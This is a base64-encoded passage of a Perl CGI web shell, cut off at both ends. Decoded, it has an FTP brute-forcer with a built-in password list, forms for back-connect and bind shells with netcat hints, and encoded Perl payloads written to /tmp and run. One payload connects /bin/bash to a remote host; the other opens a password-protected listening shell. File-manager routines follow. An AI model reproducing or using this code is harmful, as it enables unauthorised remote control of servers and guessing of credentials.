Q1NTQzMjENCjEyMzQ0MzIxDQpwYXNzMTIzDQphZG1pbg0KYWRtaW5jcA0KYWRtaW5pc3RyYXRvcg0KbWF0a2hhdQ0KcGFzc2FkbWluDQpwQHNzd29yZA0KcEBzc3cwcmQNCnBhc3N3b3JkDQoxMjM0NTYNCjEyMzQ1NjcNCjEyMzQ1Njc4DQoxMjM0NTY3ODkNCjEyMzQ1Njc4OTANCjExMTExMQ0KMDAwMDAwDQoyMjIyMjINCjMzMzMzMw0KNDQ0NDQ0DQo1NTU1NTUNCjY2NjY2Ng0KNzc3Nzc3DQo4ODg4ODgNCjk5OTk5OQ0KMTIzMTIzDQoyMzQyMzQNCjM0NTM0NQ0KNDU2NDU2DQo1Njc1NjcNCjY3ODY3OA0KNzg5Nzg5DQoxMjMzMjENCjQ1NjY1NA0KNjU0MzIxDQo3NjU0MzIxDQo4NzY1NDMyMQ0KOTg3NjU0MzIxDQowOTg3NjU0MzIxDQphZG1pbjEyMw0KYWRtaW4xMjM0NTYNCmFiY2RlZg0KYWJjYWJjDQohQCMhQCMNCiFAIyQlXg0KIUAjJCVeJiooDQohQCMkJCNAIQ0KYWJjMTIzDQphbmh5ZXVlbQ0KaWxvdmV5b3U8L3RleHRhcmVhPg0KPC90ZD4NCjwvdHI+DQo8dHI+DQo8dGQgY29sc3Bhbj0iMiIgYWxpZ249ImNlbnRlciI+DQpTbGVlcDo8c2VsZWN0IG5hbWU9InNsZWVwIj4NCg0KPG9wdGlvbj4wPC9vcHRpb24+DQo8b3B0aW9uPjE8L29wdGlvbj4NCjxvcHRpb24+Mjwvb3B0aW9uPg0KDQo8b3B0aW9uPjM8L29wdGlvbj4NCjwvc2VsZWN0PiANCjxpbnB1dCB0eXBlPSJzdWJtaXQiIHZhbHVlPSJCcnV0ZSBGb3JjZXIiLz48L3RkPjwvdHI+DQo8L2Zvcm0+DQo8L3RhYmxlPg0KRU5EDQpyZXR1cm4gJHJlc3VsdDsNCn0NCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCiMgQnJ1dGUgRm9yY2VyDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQpzdWIgQnJ1dGVGb3JjZXINCnsNCglteSAkcmVzdWx0PSIiOw0KCSRTZXJ2ZXI9JEVOVnsnU0VSVkVSX0FERFInfTsNCglpZigkaW57J3VzZXInfSBlcSAiIikNCgl7DQoJCSRyZXN1bHQgLj0gJkJydXRlRm9yY2VyRm9ybTsNCgl9ZWxzZQ0KCXsNCgkJdXNlIE5ldDo6RlRQOyANCgkJQHVzZXI9IHNwbGl0KC9cbi8sICRpbnsndXNlcid9KTsNCgkJQHBhc3M9IHNwbGl0KC9cbi8sICRpbnsncGFzcyd9KTsNCgkJY2hvbXAoQHVzZXIpOw0KCQljaG9tcChAcGFzcyk7DQoJCSRyZXN1bHQgLj0gIjxicj48YnI+WytdIFRyeWluZyBicnV0ZSAkU2VydmVyTmFtZTxicj49PT09PT09PT09PT09PT09PT09PT4+Pj4+Pj4+Pj4+Pjw8PDw8PDw8PDw9PT09PT09PT09PT09PT09PT09PTxicj48YnI+XG4iOw0KCQlmb3JlYWNoICR1c2VybmFtZSAoQHVzZXIpDQoJCXsNCgkJCWlmKCR1c2VybmFtZSBuZSAiIikNCgkJCXsNCgkJCQlmb3JlYWNoICRwYXNzd29yZCAoQHBhc3MpDQoJCQkJew0KCQkJCQkkZnRwID0gTmV0OjpGVFAtPm5ldygkU2VydmVyKSBvciBkaWUgIkNvdWxkIG5vdCBjb25uZWN0IHRvICRTZXJ2ZXJOYW1lXG4iOyANCgkJCQkJaWYoJGZ0cC0+bG9naW4oIiR1c2VybmFtZSIsIiRwYXNzd29yZCIpKQ0KCQkJCQl7DQoJCQkJCQkkcmVzdWx0IC49ICI8YSB0YXJnZXQ9J19ibGFuaycgaHJlZj0nZnRwOi8vJHVzZXJuYW1lOiRwYXNzd29yZFxAJFNlcnZlcic+WytdIGZ0cDovLyR1c2VybmFtZTokcGFzc3dvcmRcQCRTZXJ2ZXI8L2E+PGJyPlxuIjsNCgkJCQkJCSRmdHAtPnF1aXQoKTsNCgkJCQkJCWJyZWFrOw0KCQkJCQl9DQoJCQkJCWlmKCRpbnsnc2xlZXAnfSBuZSAiMCIpDQoJCQkJCXsNCgkJCQkJCXNsZWVwKGludCgkaW57J3NsZWVwJ30pICogMTAwMCk7DQoJCQkJCX0NCgkJCQkJJGZ0cC0+cXVpdCgpOw0KCQkJCX0NCgkJCX0NCgkJfQ0KCQkkcmVzdWx0IC49ICJcbjxicj49PT09PT09PT09Pj4+Pj4+Pj4+PiBGaW5pc2hlZCA8PDw8PDw8PDw8PT09PT09PT09PTxicj5cbiI7DQoJfQ0KCXJldHVybiAkcmVzdWx0Ow0KfQ0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KIyBCYWNrY29ubmVjdCBGb3JtDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQpzdWIgQmFja0JpbmRGb3JtDQp7DQoJcmV0dXJuIDw8RU5EOw0KCTxicj48YnI+DQoNCgk8dGFibGU+DQoJPHRyPg0KCTxmb3JtIG5hbWU9ImYiIG1ldGhvZD0iUE9TVCIgYWN0aW9uPSIkU2NyaXB0TG9jYXRpb24iPg0KCTx0ZD5CYWNrQ29ubmVjdDogPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iYSIgdmFsdWU9ImJhY2tiaW5kIj48L3RkPg0KCTx0ZD4gSG9zdDogPGlucHV0IHR5cGU9InRleHQiIHNpemU9IjIwIiBuYW1lPSJjbGllbnRhZGRyIiB2YWx1ZT0iJEVOVnsnUkVNT1RFX0FERFInfSI+DQoJIFBvcnQ6IDxpbnB1dCB0eXBlPSJ0ZXh0IiBzaXplPSI2IiBuYW1lPSJjbGllbnRwb3J0IiB2YWx1ZT0iODAiIG9ua2V5dXA9ImRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdiYScpLmlubmVySFRNTD10aGlzLnZhbHVlOyI+PC90ZD4NCg0KCTx0ZD48aW5wdXQgbmFtZT0icyIgdHlwZT0ic3VibWl0IiBuYW1lPSJzdWJtaXQiIHZhbHVlPSJDb25uZWN0Ij48L3RkPg0KCTwvZm9ybT4NCgk8L3RyPg0KCTx0cj4NCgk8dGQgY29sc3Bhbj0zPjxmb250IGNvbG9yPSNGRkZGRkY+WytdIENsaWVudCBsaXN0ZW4gYmVmb3JlIGNvbm5lY3QgYmFjayENCgk8YnI+WytdIFRyeSBjaGVjayB5b3VyIFBvcnQgd2l0aCA8YSB0YXJnZXQ9Il9ibGFuayIgaHJlZj0iaHR0cDovL3d3dy5jYW55b3VzZWVtZS5vcmcvIj5odHRwOi8vd3d3LmNhbnlvdXNlZW1lLm9yZy88L2E+DQoJPGJyPlsrXSBDbGllbnQgbGlzdGVuIHdpdGggY29tbWFuZDogPHJ1bj5uYyAtdnYgLWwgLXAgPHNwYW4gaWQ9ImJhIj44MDwvc3Bhbj48L3J1bj48L2ZvbnQ+PC90ZD4NCg0KCTwvdHI+DQoJPC90YWJsZT4NCg0KCTxicj48YnI+DQoJPHRhYmxlPg0KCTx0cj4NCgk8Zm9ybSBtZXRob2Q9IlBPU1QiIGFjdGlvbj0iJFNjcmlwdExvY2F0aW9uIj4NCgk8dGQ+QmluZCBQb3J0OiA8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJhIiB2YWx1ZT0iYmFja2JpbmQiPjwvdGQ+DQoNCgk8dGQ+IFBvcnQ6IDxpbnB1dCB0eXBlPSJ0ZXh0IiBzaXplPSIxNSIgbmFtZT0iY2xpZW50cG9ydCIgdmFsdWU9IjE0MTIiIG9ua2V5dXA9ImRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdiaScpLmlubmVySFRNTD10aGlzLnZhbHVlOyI+DQoNCgkgUGFzc3dvcmQ6IDxpbnB1dCB0eXBlPSJ0ZXh0IiBzaXplPSIxMiIgbmFtZT0iYmluZHBhc3MiIHZhbHVlPSJ2aW5ha2lkIj48L3RkPg0KCTx0ZD48aW5wdXQgbmFtZT0icyIgdHlwZT0ic3VibWl0IiBuYW1lPSJzdWJtaXQiIHZhbHVlPSJCaW5kIj48L3RkPg0KCTwvZm9ybT4NCgk8L3RyPg0KCTx0cj4NCgk8dGQgY29sc3Bhbj0zPjxmb250IGNvbG9yPSNGRkZGRkY+WytdIFRlc3RpbmcgLi4uLg0KCTxicj5bK10gVHJ5IGNvbW1hbmQ6IDxydW4+bmMgJEVOVnsnU0VSVkVSX0FERFInfSA8c3BhbiBpZD0iYmkiPjE0MTI8L3NwYW4+PC9ydW4+PC9mb250PjwvdGQ+DQoNCgk8L3RyPg0KCTwvdGFibGU+PGJyPg0KRU5EDQp9DQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQojIEJhY2tjb25uZWN0IHVzZSBwZXJsDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQpzdWIgQmFja0JpbmQNCnsNCgl1c2UgU29ja2V0OwkNCgkkYmFja3Blcmw9Ikl5RXZkWE55TDJKcGJpOXdaWEpzRFFwMWMyVWdTVTg2T2xOdlkydGxkRHNOQ2lSVGFHVnNiQWs5SUNJdlltbHVMMkpoYzJnaU93MEtKRUZTUjBNOVFFRlNSMVk3RFFwMWMyVWdVMjlqYTJWME93MEtkWE5sSUVacGJHVklZVzVrYkdVN0RRcHpiMk5yWlhRb1UwOURTMFZVTENCUVJsOUpUa1ZVTENCVFQwTkxYMU5VVWtWQlRTd2daMlYwY0hKdmRHOWllVzVoYldVb0luUmpjQ0lwS1NCdmNpQmthV1VnY0hKcGJuUWdJbHN0WFNCVmJtRmliR1VnZEc4Z1VtVnpiMngyWlNCSWIzTjBYRzRpT3cwS1kyOXVibVZqZENoVFQwTkxSVlFzSUhOdlkydGhaR1J5WDJsdUtDUkJVa2RXV3pGZExDQnBibVYwWDJGMGIyNG9KRUZTUjFaYk1GMHBLU2tnYjNJZ1pHbGxJSEJ5YVc1MElDSmJMVjBnVlc1aFlteGxJSFJ2SUVOdmJtNWxZM1FnU0c5emRGeHVJanNOQ25CeWFXNTBJQ0pEYjI1dVpXTjBaV1FoSWpzTkNsTlBRMHRGVkMwK1lYVjBiMlpzZFhOb0tDazdEUXB2Y0dWdUtGTlVSRWxPTENBaVBpWlRUME5MUlZRaUtUc05DbTl3Wlc0b1UxUkVUMVZVTENJK0psTlBRMHRGVkNJcE93MEtiM0JsYmloVFZFUkZVbElzSWo0bVUwOURTMFZVSWlrN0RRcHdjbWx1ZENBaUxTMDlQU0JEYjI1dVpXTjBaV1FnUW1GamEyUnZiM0lnUFQwdExTQWdYRzVjYmlJN0RRcHplWE4wWlcwb0luVnVjMlYwSUVoSlUxUkdTVXhGT3lCMWJuTmxkQ0JUUVZaRlNFbFRWQ0E3WldOb2J5QW5XeXRkSUZONWMzUmxiV2x1Wm04NklDYzdJSFZ1WVcxbElDMWhPMlZqYUc4N1pXTm9ieUFuV3l0ZElGVnpaWEpwYm1adk9pQW5PeUJwWkR0bFkyaHZPMlZqYUc4Z0oxc3JYU0JFYVhKbFkzUnZjbms2SUNjN0lIQjNaRHRsWTJodk95QmxZMmh2SUNkYksxMGdVMmhsYkd3NklDYzdKRk5vWld4c0lpazdEUXBqYkc5elpTQlRUME5MUlZRNyI7DQoJJGJpbmRwZXJsPSJJeUV2ZFhOeUwySnBiaTl3WlhKc0RRcDFjMlVnVTI5amEyVjBPdzBLSkVGU1IwTTlRRUZTUjFZN0RRb2tjRzl5ZEFrOUlDUkJVa2RXV3pCZE93MEtKSEJ5YjNSdkNUMGdaMlYwY0hKdmRHOWllVzVoYldVb0ozUmpjQ2NwT3cwS0pGTm9aV3hzQ1QwZ0lpOWlhVzR2WW1GemFDSTdEUXB6YjJOclpYUW9VMFZTVmtWU0xDQlFSbDlKVGtWVUxDQlRUME5MWDFOVVVrVkJUU3dnSkhCeWIzUnZLVzl5SUdScFpTQWljMjlqYTJWME9pUWhJanNOQ25ObGRITnZZMnR2Y0hRb1UwVlNWa1ZTTENCVFQweGZVMDlEUzBWVUxDQlRUMTlTUlZWVFJVRkVSRklzSUhCaFkyc29JbXdpTENBeEtTbHZjaUJrYVdVZ0luTmxkSE52WTJ0dmNIUTZJQ1FoSWpzTkNtSnBibVFvVTBWU1ZrVlNMQ0J6YjJOcllXUmtjbDlwYmlna2NHOXlkQ3dnU1U1QlJFUlNYMEZPV1NrcGIzSWdaR2xsSUNKaWFXNWtPaUFrSVNJN0RRcHNhWE4wWlc0b1UwVlNWa1ZTTENCVFQwMUJXRU5QVGs0cENRbHZjaUJrYVdVZ0lteHBjM1JsYmpvZ0pDRWlPdzBLWm05eUtEc2dKSEJoWkdSeUlEMGdZV05qWlhCMEtFTk1TVVZPVkN3Z1UwVlNWa1ZTS1RzZ1kyeHZjMlVnUTB4SlJVNVVLUTBLZXcwS0NXOXdaVzRvVTFSRVNVNHNJQ0krSmtOTVNVVk9WQ0lwT3cwS0NXOXdaVzRvVTFSRVQxVlVMQ0FpUGlaRFRFbEZUbFFpS1RzTkNnbHZjR1Z1S0ZOVVJFVlNVaXdnSWo0bVEweEpSVTVVSWlrN0RRb0pjM2x6ZEdWdEtDSjFibk5sZENCSVNWTlVSa2xNUlRzZ2RXNXpaWFFnVTBGV1JVaEpVMVFnTzJWamFHOGdKMXNyWFNCVGVYTjBaVzFwYm1adk9pQW5PeUIxYm1GdFpTQXRZVHRsWTJodk8yVmphRzhnSjFzclhTQlZjMlZ5YVc1bWJ6b2dKenNnYVdRN1pXTm9ienRsWTJodklDZGJLMTBnUkdseVpXTjBiM0o1T2lBbk95QndkMlE3WldOb2J6c2daV05vYnlBbld5dGRJRk5vWld4c09pQW5PeVJUYUdWc2JDSXBPdzBLQ1dOc2IzTmxLRk5VUkVsT0tUc05DZ2xqYkc5elpTaFRWRVJQVlZRcE93MEtDV05zYjNObEtGTlVSRVZTVWlrN0RRcDlEUW89IjsNCg0KCSRDbGllbnRBZGRyID0gJGlueydjbGllbnRhZGRyJ307DQoJJENsaWVudFBvcnQgPSBpbnQoJGlueydjbGllbnRwb3J0J30pOw0KCWlmKCRDbGllbnRQb3J0IGVxIDApDQoJew0KCQlyZXR1cm4gJkJhY2tCaW5kRm9ybTsNCgl9ZWxzaWYoISRDbGllbnRBZGRyIGVxICIiKQ0KCXsNCgkJJERhdGE9ZGVjb2RlX2Jhc2U2NCgkYmFja3BlcmwpOw0KCQlpZigtdyAiL3RtcC8iKQ0KCQl7DQoJCQkkRmlsZT0iL3RtcC9iYWNrY29ubmVjdC5wbCI7CQ0KCQl9ZWxzZQ0KCQl7DQoJCQkkRmlsZT0kQ3VycmVudERpci4kUGF0aFNlcC4iYmFja2Nvbm5lY3QucGwiOw0KCQl9DQoJCW9wZW4oRklMRSwgIj4kRmlsZSIpOw0KCQlwcmludCBGSUxFICREYXRhOw0KCQljbG9zZSBGSUxFOw0KCQlzeXN0ZW0oInBlcmwgJEZpbGUgJENsaWVudEFkZHIgJENsaWVudFBvcnQiKTsNCgkJdW5saW5rKCRGaWxlKTsNCgkJZXhpdCAwOw0KCX1lbHNlDQoJew0KCQkkRGF0YT1kZWNvZGVfYmFzZTY0KCRiaW5kcGVybCk7DQoJCWlmKC13ICIvdG1wIikNCgkJew0KCQkJJEZpbGU9Ii90bXAvYmluZHBvcnQucGwiOwkNCgkJfWVsc2UNCgkJew0KCQkJJEZpbGU9JEN1cnJlbnREaXIuJFBhdGhTZXAuImJpbmRwb3J0LnBsIjsNCgkJfQ0KCQlvcGVuKEZJTEUsICI+JEZpbGUiKTsNCgkJcHJpbnQgRklMRSAkRGF0YTsNCgkJY2xvc2UgRklMRTsNCgkJc3lzdGVtKCJwZXJsICRGaWxlICRDbGllbnRQb3J0Iik7DQoJCXVubGluaygkRmlsZSk7DQoJCWV4aXQgMDsNCgl9DQp9DQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQojICBBcnJheSBMaXN0IERpcmVjdG9yeQ0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0Kc3ViIFJtRGlyKCQpIA0Kew0KCW15ICRkaXIgPSBzaGlmdDsNCglpZihvcGVuZGlyKERJUiwkZGlyKSkNCgl7DQoJCXdoaWxlKCRmaWxlID0gcmVhZGRpcihESVIpKQ0KCQl7DQoJCQlpZigoJGZpbGUgbmUgIi4iKSAmJiAoJGZpbGUgbmUgIi4uIikpDQoJCQl7DQoJCQkJJGZpbGU9ICRkaXIuJFBhdGhTZXAuJGZpbGU7DQoJCQkJaWYoLWQgJGZpbGUpDQoJCQkJew0KCQkJCQkmUm1EaXIoJGZpbGUpOw0KCQkJCX0NCgkJCQllbHNlDQoJCQkJew0KCQkJCQl1bmxpbmsoJGZpbGUpOw0KCQkJCX0NCgkJCX0NCgkJfQ0KCQljbG9zZWRpcihESVIpOw0KCX0NCn0NCnN1YiBGaWxlT3duZXIoJCkNCnsNCglteSAkZmlsZSA9IHNoaWZ0Ow0KCWlmKC1lICRmaWxlKQ0KCXsNCgkJKCR1aWQsJGdpZCkgPSAoc3RhdCgkZmlsZSkpWzQsNV07DQoJCWlmKCRXaW5OVCkNCgkJew0KCQkJcmV0dXJuICI/Pz8iOw0KCQl9DQoJCWVsc2UNCgkJew0KCQkJJG5hbWU9Z2V0cHd1aWQoJHVpZCk7DQoJCQkkZ3JvdXA9Z2V0Z3JnaWQoJGdpZCk7DQoJCQlyZXR1cm4gJG5hbWUuIi8iLiRncm91cDsNCgkJfQ0KCX0NCglyZXR1cm4gIj8/PyI7DQp9DQpzdWIgUGFyZW50Rm9sZGVyKCQpDQp7DQoJbXkgJHBhdGggPSBzaGlmdDsNCglteSAkQ29tbSA9ICJjZCBcIiRDdXJyZW50RGlyXCIiLiRDbWRTZXAuImNkIC4uIi4kQ21kU2VwLiRDbWRQd2Q7DQoJY2hvcCgkcGF0aCA9IGAkQ29tbWApOw0KCXJldHVybiAkcGF0aDsNCn0NCnN1YiBGaWxlUGVybXMoJCkNCnsNCglteSAkZmlsZSA9IHNoaWZ0Ow0KCW15ICR1ciA9ICItIjsNCglteSAkdXcgPSAiLSI7DQoJaWYoLWUgJGZpbGUpDQoJew0KCQlpZigkV2luTlQpDQoJCXsNCgkJCWlmKC1yICRmaWxlKXsgJHVyID0gInIiOyB9DQoJCQlpZigtdyAkZmlsZSl7ICR1dyA9ICJ3IjsgfQ0KCQkJcmV0dXJuICR1ciAuICIgLyAiIC4gJHV3Ow0KCQl9ZWxzZQ0KCQl7DQoJCQkkbW9kZT0oc3RhdCgkZmlsZSkpWzJdOw0KCQkJJHJlc3VsdCA9IHNwcmludGYoIiUwNG8iLCAkbW9kZSAmIDA3Nzc3KTsNCgkJCXJldHVybiAkcmVzdWx0Ow0KCQl9DQoJfQ0KCXJldHVybiAiMDAwMCI7DQp9DQpzdWIgRmlsZUxhc3RNb2RpZmllZCgkKQ0Kew0KCW15ICRmaWxlID0gc2hpZnQ7DQoJaWYoLWUgJGZpbGUpDQoJew0KCQkoJGxhKSA9IChzdGF0KCRmaWxlKSlbOV07DQoJCSgkZCwkbSwkeSwkaCwkaSkgPSAobG9jYWx0aW1lKCRsYSkpWzMsNCw1LDIsMV07DQoJCSR5ID0gJHkgKyAxOTAwOw0KCQlAbW9udGggPSBxdy8xIDIgMyA0IDUgNiA3IDggOSAxMCAxMSAxMi87DQoJCSRsbXRpbWUgPSBzcHJpbnRmKCIlMDJkLyVzLyU0ZCAlMDJkOiUwMmQiLCRkLCRtb250aFskbV0sJHksJGgsJGkpOw0KCQlyZXR1cm4gJGxtdGltZTsNCgl9DQoJcmV0dXJuICI/Pz8iOw0KfQ0Kc3ViIEZpbGVTaXplKCQpDQp7DQoJbXkgJGZpbGUgPSBzaGlmdDsNCglpZigtZiAkZmlsZSkNCgl7DQoJCXJldHVybiAtcyAiJGZpbGUiOw0KCX0NCglyZXR1cm4gIjAiOw0KfQ0Kc3ViIFBhcnNlRmlsZVNpemUoJCkNCnsNCglteSAkc2l6ZSA9IHNoaWZ0Ow0KCWlmKCRzaXplIDw9IDEwMjQpDQoJew0KCQlyZXR1cm4gJHNpemUuICIgQiI7DQoJfQ0KCWVsc2UNCgl7DQoJCWlmKCRzaXplIDw9IDEwMjQqMTAyNCkgDQoJCXsNCgkJCSRzaXplID0gc3ByaW50ZigiJS4wMmYiLCRzaXplIC8gMTAyNCk7DQoJCQlyZXR1cm4gJHNpemUuIiBLQiI7DQoJCX0NCgkJZWxzZSANCgkJew0KCQkJJHNpemUgPSBzcHJpbnRmKCIlLjJmIiwkc2l6ZSAvIDEwMjQgLyAxMDI0KTsNCgkJCXJldHVybiAkc2l6ZS4iIE1CIjsNCgkJfQ0KCX0NCn0NCnN1YiB0cmltKCQpDQp7DQoJbXkgJHN0cmluZyA9IHNoaWZ0Ow0KCSRzdHJpbmcgPX4gcy9eXHMrLy87DQoJJHN0cmluZyA9fiBzL1xzKyQvLzsNCglyZXR1cm4gJHN0cmluZzsNCn0NCnN1YiBBZGRTbGFzaGVzKCQpDQp7DQoJbXkgJHN0cmluZyA9IHNoaWZ0Ow0KCSRzdHJpbmc9fiBzL1xcL1xcXFwvZzsNCglyZXR1cm4gJHN0cmluZzsNCn0NCnN1YiBUcmltU2xhc2hlcygkKQ0Kew0KCW15ICRzdHJpbmcgPSBzaGlmdDsNCgkkc3RyaW5nPX4gcy9cL1wvL1wvL2c7DQoJJHN0cmluZz1+IHMvXFxcXC9cXC9nOw0KCXJldHVybiAkc3RyaW5nOw0KfQ0Kc3ViIExpc3REaXINCnsNCglteSAkcGF0aCA9ICZUcmltU2xhc2hlcygkQ3VycmVudERpci4kUGF0aFNlcCk7DQoJbXkgJHJlc3VsdCA9ICI8Zm9ybSBuYW1lPSdmJyBvblN1Ym1pdD1cIkVuY29kZXIoJ2QnKVwiIGFjdGlvbj0nJFNjcmlwdExvY2F0aW9uJz48c3BhbiBzdHlsZT0nZm9udDogMTFwdCBWZXJkYW5hOyBmb250LXdlaWdodDogYm9sZDsnPlBhdGg6IFsgIi4mQWRkTGlua0RpcigiZ3VpIikuIiBdIDwvc3Bhbj48aW5wdXQgdHlwZT0ndGV4dCcgaWQ9J2QnIG5hbWU9J2QnIHNpemU9JzQwJyB2YWx1ZT0nJEN1cnJlbnREaXInIC8+PGlucHV0IHR5cGU9J2hpZGRlbicgbmFtZT0nYScgdmFsdWU9J2d1aSc+PGlucHV0IGNsYXNzPSdzdWJtaXQnIHR5cGU9J3N1Ym1pdCcgdmFsdWU9J0NoYW5nZSc+PC9mb3JtPiI7DQoJaWYoLWQgJHBhdGgpDQoJew0KCQlteSBAZm5hbWUgPSAoKTsNCgkJbXkgQGRuYW1lID0gKCk7DQoJCWlmKG9wZW5kaXIoRElSLCRwYXRoKSkNCgkJew0KCQkJd2hpbGUoJGZpbGUgPSByZWFkZGlyKERJUikpDQoJCQl7DQoJCQkJJGY9JHBhdGguJGZpbGU7DQoJCQkJaWYoLWQgJGYpDQoJCQkJew0KCQkJCQlwdXNoKEBkbmFtZSwkZmlsZSk7DQoJCQkJfQ0KCQkJCWVsc2UNCgkJCQl7DQoJCQkJCXB1c2goQGZuYW1lLCRmaWxlKTsNCgkJCQl9DQoJCQl9DQoJCQljbG9zZWRpcihESVIpOw0KCQl9DQoJCUBmbmFtZSA9IHNvcnQgeyBsYygkYSkgY21wIGxjKCRiKSB9IEBmbmFtZTsNCgkJQGRuYW1lID0gc29ydCB7IGxjKCRhKSBjbXAgbGMoJGIpIH0gQGRuYW1lOw0KCQkkcmVzdWx0IC49ICI8ZGl2Pjx0YWJsZSB3aWR0aD0nOTAlJyBjbGFzcz0nbGlzdGRpcic+DQoJCTx0ciBzdHlsZT0nYmFja2dyb3VuZC1jb2xvcjogIzNlM2UzZSc+PHRoPkZpbGUgTmFtZTwvdGg+DQoJCTx0aCB3aWR0aD0nMTAwJz5GaWxlIFNpemU8L3RoPg0KCQk8dGggd2lkdGg9JzE1MCc+T3duZXI8L3RoPg0KCQk8dGggd2lkdGg9JzEwMCc+UGVybWlzc2lvbjwvdGg+DQoJCTx0aCB3aWR0aD0nMTUwJz5MYXN0IE1vZGlmaWVkPC90aD4NCgkJPHRoIHdpZHRoPScyMzAnPkFjdGlvbjwvdGg+PC90cj4iOw0KCQlteSAkc3R5bGU9Im5vdGxpbmUiOw0KCQlteSAkaT0wOw0KCQlmb3JlYWNoIG15ICRkIChAZG5hbWUpDQoJCXsNCgkJCSRzdHlsZT0gKCRzdHlsZSBlcSAibGluZSIpID8gIm5vdGxpbmUiOiAibGluZSI7DQoJCQkkZCA9ICZ0cmltKCRkKTsNCgkJCSRkaXJuYW1lPSRkOw0KCQkJaWYoJGQgZXEgIi4uIikgDQoJCQl7DQoJCQkJJGQgPSAmUGFyZW50Rm9sZGVyKCRwYXRoKTsNCgkJCX0NCgkJCWVsc2lmKCRkIGVxICIuIikgDQoJCQl7DQoJCQkJbmV4dDsNCgkJCX0NCgkJCWVsc2UgDQoJCQl7DQoJCQkJJGQgPSAkcGF0aC4kZDsNCgkJCX0NCgkJCSRyZXN1bHQgLj0gIjx0ciBjbGFzcz0nJHN0eWxlJz48dGQgaWQ9J0ZpbGVfJGknIGNsYXNzPSdkaXInPjxhICBocmVmPSc/YT1ndWkmZD0iLiZFbmNvZGVEaXIoJGQpLiInPlsgIi4kZGlybmFtZS4iIF08L2E+PC90ZD4iOw0KCQkJJHJlc3VsdCAuPSAiPHRkPkRJUjwvdGQ+IjsNCgkJCSRyZXN1bHQgLj0gIjx0ZD4iLiZGaWxlT3duZXIoJGQpLiI8L3RkPiI7DQoJCQkkcmVzdWx0IC49ICI8dGQgaWQ9J0ZpbGVQZXJtc18kaScgb25kYmxjbGljaz1cInJtX2NobW9kX2Zvcm0odGhpcywiLiRpLiIsJyIuJkZpbGVQZXJtcygkZCkuIicsJyIuJGRpcm5hbWUuIicpXCIgPjxzcGFuIG9uY2xpY2s9XCJjaG1vZF9mb3JtKCIuJGkuIiwnIi4kZGlybmFtZS4iJylcIiA+Ii4mRmlsZVBlcm1zKCRkKS4iPC9zcGFuPjwvdGQ+IjsNCgkJCSRyZXN1bHQgLj0gIjx0ZD4iLiZGaWxlTGFzdE1vZGlmaWVkKCRkKS4iPC90ZD4iOw0KCQkJJHJlc3VsdCAuPSAiPHRkPjxhIG9uY2xpY2s9XCJyZW5hbWVfZm9ybSgkaSwnJGRpcm5hbWUnLCciLiZBZGRTbGFzaGVzKCZBZGRTbGFzaGVzKCRkKSkuIicpOyByZXR1cm4gZmFsc2U7IFwiPlJlbmFtZTwvYT4gIHwgPGEgb25jbGljaz1cImlmKCFjb25maXJtKCdSZW1vdmUgZGlyOiAkZGlybmFtZSA/JykpIHsgcmV0dXJuIGZhbHNlO31cIiBocmVmPSc/YT1ndWkmZD0iLiZFbmNvZGVEaXIoJHBhdGgpLiImcmVtb3ZlPSRkaXJuYW1lJz5SZW1vdmU8L2E+PC90ZD4iOw0KCQkJJHJlc3VsdCAuPSAiPC90cj4iOw0KCQkJJGkrKzsNCgkJfQ0KCQlmb3JlYWNoIG15ICRmIChAZm5hbWUpDQoJCXsNCgkJCSRzdHlsZT0gKCRzdHlsZSBlcSAibGluZSIpID8gIm5vdGxpbmUiOiAibGluZSI7DQoJCQkkZmlsZT0kZjsNCgkJCSRmID0gJHBhdGguJGY7DQoJCQlteSAkYWN0aW9uID0gZW5jb2RlX2Jhc2U2NCgiZWRpdCAiLiRmaWxlKTsNCgkJCSR2aWV3ID0gIj9kaXI9Ii4kcGF0aC4iJnZpZXc9Ii4kZjsNCgkJCSRyZXN1bHQgLj0gIjx0ciBjbGFzcz0nJHN0eWxlJz48dGQgaWQ9J0ZpbGVfJGknIGNsYXNzPSdmaWxlJz48YSBocmVmPSc/YT1jb21tYW5kJmQ9Ii4mRW5jb2RlRGlyKCRwYXRoKS4iJmM9Ii4kYWN0aW9uLiInPiIuJGZpbGUuIjwvYT48L3RkPiI7DQoJCQkkcmVzdWx0IC49ICI8dGQ+Ii4mUGFyc2VGaWxlU2l6ZSgmRmlsZVNpemUoJGYpKS4iPC90ZD4iOw0KCQkJJHJlc3VsdCAuPSAiPHRkPiIuJkZpbGVPd25lcigkZikuIjwvdGQ+IjsNCgkJCSRyZXN1bHQgLj0gIjx0ZCBpZD0nRmlsZVBlcm1zXyRpJyBvbmRibGNsaWNrPVwicm1fY2htb2RfZm9ybSh0aGlzLCIuJGkuIiwnIi4mRmlsZVBlcm1zKCRmKS4iJywnIi4kZmlsZS4iJylcIiA+PHN